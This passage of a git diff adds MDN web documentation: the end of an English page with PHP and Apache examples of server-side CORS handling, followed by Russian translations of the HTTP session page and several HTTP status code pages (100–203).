+ echo " &lt;title&gt;Another Resource&lt;/title&gt;";
+ echo "&lt;/head&gt;";
+ echo "&lt;body&gt;",
+ "&lt;p&gt;This resource behaves two-fold:";
+ echo "&lt;ul&gt;",
+ "&lt;li&gt;If accessed from &lt;code&gt;http://arunranga.com&lt;/code&gt; it returns an XML document&lt;/li&gt;";
+ echo "&lt;li&gt;If accessed from any other origin including from simply typing in the URL into the browser's address bar,";
+ echo "you get this HTML document&lt;/li&gt;",
+ "&lt;/ul&gt;",
+ "&lt;/body&gt;",
+ "&lt;/html&gt;";
+}
+?&gt;
+</pre>
+
+<p>The above checks to see if the {{HTTPHeader("Origin")}} header sent by the browser (obtained through $_SERVER['HTTP_ORIGIN']) matches '<a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a>'. If yes, it returns {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: <a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a></code>. This example can be <a class="external" href="http://arunranga.com/examples/access-control/">seen running here</a>.</p>
+
+<h2 id="Preflighted_requests">Preflighted requests</h2>
+
+<p><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">Preflighted Access Control Requests</a> occur when:</p>
+
+<ul>
+ <li>A method other than {{HTTPMethod("GET")}} or {{HTTPMethod("POST")}} is used, or if {{HTTPMethod("POST")}} is used with a {{HTTPHeader("Content-Type")}} <strong>other than</strong> one of <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, or <code>text/plain</code>. For instance, if the <code>Content-Type</code> of the <code>POST</code> body is <code>application/xml</code>, a request is preflighted.</li>
+ <li>A custom header (such as <code>X-PINGARUNER</code>) is sent with the request.</li>
+</ul>
+
+<p>The section on <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">Preflighted Access Control Requests</a> shows a header exchange between client and server. A server resource responding to a preflight requests needs to be able to make the following determinations:</p>
+
+<ul>
+ <li>Filtration based on {{HTTPHeader("Origin")}}, if any at all.</li>
+ <li>Response to an {{HTTPMethod("OPTIONS")}} request (which is the preflight request), including sending necessary values with {{HTTPHeader("Access-Control-Allow-Methods")}}, {{HTTPHeader("Access-Control-Allow-Headers")}} (if any additional headers are needed in order for the application to work), and, if credentials are necessary for this resource, {{HTTPHeader("Access-Control-Allow-Credentials")}}.</li>
+ <li>Response to the actual request, including handling <code>POST</code> data, etc.</li>
+</ul>
+
+<p>Here is an example in PHP of handling a <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">preflighted request</a>:</p>
+
+<pre class="brush: php">&lt;?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET") {
+
+ header('Content-Type: text/plain');
+  echo "This HTTP resource is designed to handle POSTed XML input";
+ echo "from arunranga.com and not be retrieved with GET";
+
+} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") {
+ // Tell the Client we support invocations from arunranga.com and
+ // that this preflight holds good for only 20 days
+
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
+    header('Access-Control-Allow-Headers: X-PINGARUNER');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+    //exit(0);
+  } else {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+ }
+
+} elseif($_SERVER['REQUEST_METHOD'] == "POST") {
+ // Handle POST by first getting the XML POST blob,
+ // and then doing something to it, and then sending results to the client
+
+ if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+ $postData = file_get_contents('php://input');
+    $document = simplexml_load_string($postData);
+
+ // do something with POST data
+
+    $ping = $_SERVER['HTTP_X_PINGARUNER'];
+
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Content-Type: text/plain');
+    echo // some string response after processing
+  } else {
+  die("POSTing Only Allowed from arunranga.com");
+ }
+} else {
+    die("No Other Methods Allowed");
+}
+?&gt;
+</pre>
+
+<p>Note the appropriate headers being sent back in response to the {{HTTPMethod("OPTIONS")}} preflight as well as to the {{HTTPMethod("POST")}} data. One resource thus handles the preflight as well as the actual request. In the response to the <code>OPTIONS</code> request, the server notifies the client that the actual request can indeed be made with the <code>POST</code> method, and header fields such as <code>X-PINGARUNER</code> can be sent with the actual request. This example can be <a class="external" href="http://arunranga.com/examples/access-control/">seen running here</a>.</p>
+
+<h2 id="Credentialed_requests">Credentialed requests</h2>
+
+<p><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Requests_with_credentials">Credentialed Access Control Requests</a> – that is, requests that are accompanied by <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> or HTTP Authentication information (and which expect Cookies to be sent with responses) – can be either <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">Simple</a> or <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">Preflighted</a>, depending on the request methods used.</p>
+
+<p>In a <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">Simple Request</a> scenario, the request will be sent with Cookies (e.g. if the <code><a href="/en-US/docs/Web/API/XMLHttpRequest/withCredentials">withCredentials</a></code> flag is set on {{domxref("XMLHttpRequest")}}). If the server responds with {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> attached to the credentialed response, then the response is accepted by the client and exposed to web content. In a <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">Preflighted Request</a>, the server can respond with <code>Access-Control-Allow-Credentials: true</code> to the <code>OPTIONS</code> request.</p>
+
+<p>Here is some PHP that handles credentialed requests:</p>
+
+<pre class="brush: php">&lt;?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET") {
+ header('Access-Control-Allow-Origin: http://arunranga.com');
+ header('Access-Control-Allow-Credentials: true');
+ header('Cache-Control: no-cache');
+ header('Pragma: no-cache');
+ header('Content-Type: text/plain');
+
+ // First See if There Is a Cookie
+ if (!isset($_COOKIE["pageAccess"])) {
+ setcookie("pageAccess", 1, time()+2592000);
+ echo 'I do not know you or anyone like you so I am going to';
+ echo 'mark you with a Cookie :-)';
+ } else {
+ $accesses = $_COOKIE['pageAccess'];
+ setcookie('pageAccess', ++$accesses, time()+2592000);
+ echo 'Hello -- I know you or something a lot like you!';
+ echo 'You have been to ', $_SERVER['SERVER_NAME'], ';
+ echo 'at least ', $accesses-1, ' time(s) before!';
+ }
+} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") {
+ // Tell the Client this preflight holds good for only 20 days
+ if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+ header('Access-Control-Allow-Origin: http://arunranga.com');
+ header('Access-Control-Allow-Methods: GET, OPTIONS');
+ header('Access-Control-Allow-Credentials: true');
+ header('Access-Control-Max-Age: 1728000');
+ header("Content-Length: 0");
+ header("Content-Type: text/plain");
+ } else {
+ header("HTTP/1.1 403 Access Forbidden");
+ header("Content-Type: text/plain");
+ echo "You cannot repeat this request";
+ }
+} else {
+ die("This HTTP Resource can ONLY be accessed with GET or OPTIONS");
+}
+?&gt;
+</pre>
+
+<p>Note that in the case of credentialed requests, the <code>Access-Control-Allow-Origin:</code> header <strong>must not</strong> have a wildcard value of "*".  It <strong>must</strong> mention a valid origin domain. The example above can be seen <a class="external" href="http://arunranga.com/examples/access-control/">running here</a>.</p>
+
+<h2 id="Apache_examples">Apache examples</h2>
+
+<h3 id="Restrict_access_to_certain_URIs">Restrict access to certain URIs</h3>
+
+<p>One helpful trick is to use an Apache rewrite, environment variable, and headers to apply <code>Access-Control-Allow-*</code> to certain URIs. This is useful, for example, to constrain cross-origin requests to <code>GET /api(.*).json</code> requests without credentials:</p>
+
+<pre>RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True]
+Header set Access-Control-Allow-Origin "*" env=CORS
+Header set Access-Control-Allow-Methods "GET" env=CORS
+Header set Access-Control-Allow-Credentials "false" env=CORS
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://arunranga.com/examples/access-control/">Examples of Access Control in Action</a></li>
+ <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side &amp; Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Access Control covering the HTTP headers</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/http/session/index.html b/files/ru/web/http/session/index.html
new file mode 100644
index 0000000000..42de794853
--- /dev/null
+++ b/files/ru/web/http/session/index.html
@@ -0,0 +1,158 @@
+---
+title: HTTP сессия
+slug: Web/HTTP/Session
+tags:
+ - HTTP
+translation_of: Web/HTTP/Session
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Так как HTTP — это клиент-серверный протокол, HTTP сессия состоит из трёх фаз:</p>
+
+<ol>
+ <li>Клиент устанавливает TCP соединения (или другое соединение, если не используется TCP транспорт).</li>
+ <li>Клиент отправляет запрос и ждёт ответа. </li>
+ <li>Сервер обрабатывает запрос и посылает ответ, в котором содержится код статуса и соответствующие данные. </li>
+</ol>
+
+<p>Начиная с версии HTTP/1.1, после третьей фазы соединение не закрывается, так как клиенту позволяется инициировать другой запрос. То есть, вторая и третья фазы могут повторяться.</p>
+
+<h2 id="Установка_соединения">Установка соединения</h2>
+
+<p>Так как HTTP это клиент-серверный протокол, соединение всегда устанавливается клиентом. Открыть соединение в HTTP — значит установить соединение через соответствующий транспорт, обычно TCP.</p>
+
+<p>В случае с TCP, в качестве порта HTTP сервера по умолчанию на компьютере используется порт 80, хотя другие также часто используются, например 8000 или 8080. URL загружаемой страницы содержит доменное имя и порт, который можно и не  указывать если он соответствует порту по умолчанию. </p>
+
+<div class="note"><strong>Имеем в виду:</strong> Клиент-серверная модель не позволяет серверу посылать данные клиенту без явного запроса этих данных. Чтобы обойти эту проблему, веб разработчики используют различные техники: периодически пингуют сервер используя <a href="/en/DOM/XMLHttpRequest" title="en/XMLHTTPRequest">XMLHTTPRequest</a> Javascript объект, HTML <a href="/en/WebSockets" title="en/WebSockets">WebSockets API</a>, или похожие протоколы.</div>
+
+<h2 id="Отправка_запроса_клиента">Отправка запроса клиента</h2>
+
+<p>Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделенные между собой при помощи CRLF (переноса строки).  Сам запрос включает в себя три блока:</p>
+
+<ol>
+ <li>Первые строки содержат метод запроса и его параметры:
+ <ul>
+ <li>путь к документу - абсолютная URL без указания протокола и доменного имени</li>
+ <li>версию HTTP протокола </li>
+ </ul>
+ </li>
+ <li>Каждая последующая строка представляет собой HTTP заголовок и передает серверу некоторую информацию о типах предпочитаемых данных (наприм. какой язык , какие MIME типы) или инструкции меняющие поведение сервера (наприм. не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.</li>
+ <li>Последний блок является не обязательным и содержит дополнительные данные. По большей части используется методом POST.</li>
+</ol>
+
+<h3 id="Примеры_запросов">Примеры запросов</h3>
+
+<p>Получаем главную страницу developer.mozilla.org,  <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>, и говорим серверу, что user-agent предпочитает страницу на французском, если это возможно:</p>
+
+<pre>GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+</pre>
+
+<p>Обращаем внимание на пустую строку в конце, которая отделяет блок данных от блока заголовков. Так как в запросе отсутствует <code>Content-Length:</code> HTTP заголовок, блок с данными пуст и сервер может начать обработку запроса, как только получит пустую строку, означающую конец заголовков.</p>
+
+<p>Отправляем результат сабмита формы:</p>
+
+<pre>POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&amp;request=Send%20me%20one%20of%20your%20catalogue</pre>
+
+<h3 id="Методы_запроса">Методы запроса</h3>
+
+<p>HTTP определяет набор <a href="/en-US/docs/Web/HTTP/Methods">методов запроса</a> с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространенные запросы <code>GET</code> и <code>POST</code>:</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}} используется для запроса содержимого указанного ресурса. Запрос с использованием <code>GET</code> должен только получать данные.</li>
+ <li>{{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять свое состояние. Этот метод часто используется для <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форм</a>.</li>
+</ul>
+
+<h2 id="Структура_ответа_от_сервера">Структура ответа от сервера</h2>
+
+<p>После того как присоединенный агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделенные между собой CRLF, сгруппированные в три разных блока:</p>
+
+<ol>
+ <li>Первая строка — строка статуса, состоит из подтверждения используемой HTTP версии и статуса запроса (и его значения в виде, понятном человеку).</li>
+ <li>Последующие строки представляют собой HTTP заголовки, дающие клиенту некоторую информацию о посылаемых данных (прим. тип, размер, алгоритм сжатия, подсказки по кэшированию). Так же как и в случае клиентского запроса, эти HTTP заголовки формируют блок, заканчивающийся пустой строкой.</li>
+ <li>Последний блок содержит данные (если таковые имеются).</li>
+</ol>
+
+<h3 id="Примеры_ответов">Примеры ответов</h3>
+
+<p>Успешное получение веб страницы:</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <em><strong>(здесь идут 29769 байтов запрошенной веб-страницы)</strong></em>
+
+</pre>
+
+<p>Сообщение о том, что запрашиваемый ресурс был перемещен:</p>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(это новый адрес запрошенного ресурса, ожидается, что клиент запросит его</em><em>)</em></strong>
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 <strong><em>(Контент содержит стандартную страницу, которая будет показана, если клиент не может перейти по ссылке)</em></strong>
+
+&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
+&lt;html&gt;&lt;head&gt;
+&lt;title&gt;301 Moved Permanently&lt;/title&gt;
+&lt;/head&gt;&lt;body&gt;
+&lt;h1&gt;Moved Permanently&lt;/h1&gt;
+&lt;p&gt;The document has moved &lt;a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>"&gt;here&lt;/a&gt;.&lt;/p&gt;
+&lt;hr&gt;
+&lt;address&gt;Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80&lt;/address&gt;
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+
+<p>Сообщение о том, что запрашиваемый ресурс не существует:</p>
+
+<pre>HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <strong><em>(содержит пользовательскую страницу, помогающую пользователю найти отсутсвующий ресурс)</em></strong>
+</pre>
+
+<h3 id="Коды_статусов_ответа">Коды статусов ответа</h3>
+
+<p><a href="/ru/docs/Web/HTTP/Status">HTTP-коды ответов</a> показывают, выполнен ли успешно определенный HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.</p>
+
+<ul>
+ <li>{{HTTPStatus(200)}}: OK. Запрос завершился успехом.</li>
+ <li>{{HTTPStatus(301)}}: Moved Permanently. Этот код значит, что URI запрошенного ресурса был изменён.</li>
+ <li>{{HTTPStatus(404)}}: Not Found. Сервер не может найти запрошенный ресурс.</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Определение ресурсов в Интернете</a></li>
+ <li><a href="/ru/docs/Web/HTTP/Заголовки">HTTP заголовки</a></li>
+ <li><a href="/ru/docs/Web/HTTP/Methods">Методы HTTP запроса</a></li>
+ <li><a href="/ru/docs/Web/HTTP/Status">Коды ответа HTTP</a></li>
+</ul>
diff --git a/files/ru/web/http/status/100/index.html b/files/ru/web/http/status/100/index.html
new file mode 100644
index 0000000000..5e9b4a15b7
--- /dev/null
+++ b/files/ru/web/http/status/100/index.html
@@ -0,0 +1,42 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> Код ответа "HTTP <strong><code>100 Continue"</code></strong> на информационный статус указывает, что все до сих пор в порядке и что клиент должен продолжить запрос или игнорировать его, если он уже завершен.</p>
+
+<p>Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}<code>:100-continue</code> в качестве заголовка в своем первоначальном запросе и получить код состояния <code>100-continue </code>в ответ перед отправкой тела.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden"><font color="#3b3c40" face="Open Sans, arial, sans-serif">Данные совместимости не найдены. Пожалуйста, внесите данные для </font><a href="https://github.com/mdn/browser-compat-data">MDN compatibility data repository</a>.</p>
+
+<p>{{Compat("http/status", "100")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/ru/web/http/status/101/index.html b/files/ru/web/http/status/101/index.html
new file mode 100644
index 0000000000..1dbb537ad5
--- /dev/null
+++ b/files/ru/web/http/status/101/index.html
@@ -0,0 +1,45 @@
+---
+title: 101 Switching Protocol
+slug: Web/HTTP/Status/101
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа протокола HTTP 101 Switching Protocol указывает протокол, который сервер переключает, используя клиентский запрос {{HTTPHeader("Upgrade")}}.</p>
+
+<p>Сервер отправляет заголовок ответа {{HTTPHeader ("Upgrade")}}, указывая протокол, на который он переключился.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">101 Switching Protocol</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Протоколы переключения могут использоваться с <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li>
+</ul>
diff --git a/files/ru/web/http/status/103/index.html b/files/ru/web/http/status/103/index.html
new file mode 100644
index 0000000000..d6c39cdb12
--- /dev/null
+++ b/files/ru/web/http/status/103/index.html
@@ -0,0 +1,50 @@
+---
+title: 103 Early Hints
+slug: Web/HTTP/Status/103
+tags:
+ - HTTP
+ - Информация
+ - Код состояния
+ - ТаблицаСоответствия
+ - ТребуетсяСодержание
+ - Черновик
+translation_of: Web/HTTP/Status/103
+---
+<p>{{HTTPSidebar}}{{Draft}}</p>
+
+<p>HTTP код <strong><code>103 Early Hints</code></strong> в первую очередь предназначен для использования с заголовком {{HTTPHeader("Link")}}, чтобы клиент мог начать предварительную загрузку пока сервер готовит ответ.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">103 Early Hints</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Характеристики</th>
+ <th scope="col">Статус</th>
+ <th scope="col">Комментарий</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC(8297, "103 Early Hints")}}</td>
+ <td><span class="spec-RFC">IETF RFC</span></td>
+ <td>Начальное определение (Initial Definition)</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Эта таблица генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, посмотрите https://github.com/mdn/browser-compat-data и отправьте нам <span class="seoSummary">pull request</span></div>
+
+<p>{{Compat("http.status.103")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Link")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/200/index.html b/files/ru/web/http/status/200/index.html
new file mode 100644
index 0000000000..bd1f64e5e5
--- /dev/null
+++ b/files/ru/web/http/status/200/index.html
@@ -0,0 +1,50 @@
+---
+title: 200 OK
+slug: Web/HTTP/Status/200
+translation_of: Web/HTTP/Status/200
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа об успешном статусе "<em>The HTTP</em><strong> 200 OK</strong>" указывает, что запрос выполнен успешно. Ответ 200 может кэшироваться по умолчанию.</p>
+
+<p>Значение успеха зависит от метода <em>HTTP-</em>запроса:</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}: <span class="short_text" id="result_box" lang="ru"><span>Ресурс был извлечен и передан в теле сообщения.</span></span></li>
+ <li>{{HTTPMethod("HEAD")}}: <span class="short_text" id="result_box" lang="ru"><span>Заголовки объектов находятся в теле сообщения.</span></span></li>
+ <li>{{HTTPMethod("POST")}}: <span id="result_box" lang="ru"><span>Ресурс, описывающий результат действия, передается в теле сообщения.</span></span></li>
+ <li>{{HTTPMethod("TRACE")}}:<span id="result_box" lang="ru"><span>Тело сообщения содержит сообщение запроса, полученное сервером.</span></span></li>
+</ul>
+
+<p>Успешный результат {{HTTPMethod("PUT")}} или {{HTTPMethod("DELETE")}} часто не <strong>200 OK</strong>, {{HTTPStatus ("204")}} <strong>No Content</strong> ( или {{HTTPStatus("201")}} <strong>Created</strong>, когда ресурс загружается в первый раз).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">200 OK</pre>
+
+<h2 id="Характеристики">Характеристики </h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "200")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/ru/web/http/status/201/index.html b/files/ru/web/http/status/201/index.html
new file mode 100644
index 0000000000..9bb49c0dfc
--- /dev/null
+++ b/files/ru/web/http/status/201/index.html
@@ -0,0 +1,43 @@
+---
+title: 201 Created
+slug: Web/HTTP/Status/201
+translation_of: Web/HTTP/Status/201
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP <strong><code>201 Created</code></strong> Код ответа об успешном статусе указывает, что запрос выполнен успешно и привел к созданию ресурса. Новый ресурс эффективно создается до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка <code><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Location" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">Location</a>.</code></p>
+
+<p>Общим случаем использования этого кода состояния является результат <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Methods/POST" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>POST</code></a> запроса.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">201 Created</pre>
+
+<h2 id="Технические_характеристики">Технические характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Данные совместимости не найдены <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> .</p>
+
+<p>{{Compat("http/status", "201")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/ru/web/http/status/202/index.html b/files/ru/web/http/status/202/index.html
new file mode 100644
index 0000000000..ac2d42a884
--- /dev/null
+++ b/files/ru/web/http/status/202/index.html
@@ -0,0 +1,33 @@
+---
+title: 202 Accepted
+slug: Web/HTTP/Status/202
+translation_of: Web/HTTP/Status/202
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код состояния ответа "<em>The HTTP</em> <code><strong>202</strong></code><strong><code> Accepted" </code></strong>указывает, что запрос получен, но еще не обработан. Это не является обязательным, что означает, что в <em>HTTP</em> невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">202 Accepted</pre>
+
+<h2 id="Характеристики">Характеристики </h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/203/index.html b/files/ru/web/http/status/203/index.html
new file mode 100644
index 0000000000..aabd4310ac
--- /dev/null
+++ b/files/ru/web/http/status/203/index.html
@@ -0,0 +1,37 @@
+---
+title: 203 Non-Authoritative Information
+slug: Web/HTTP/Status/203
+translation_of: Web/HTTP/Status/203
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>"The HTTP <strong><code>203 Non-Authoritative Information" </code></strong>Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учетом ответа сервера{{HTTPStatus("200")}} (<code>OK</code>) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.</p>
+
+<p>"The <code>203"</code> ответ  аналогичен значению <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>, значение "<code>Transformation Applied"</code>, кода  {{HTTPHeader("Warning")}} имеет дополнительное преимущество, применимое к ответам с любым кодом состояния.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">203 Non-Authoritative Information</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("200")}}</li>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Warning")}}</li>
+</ul>
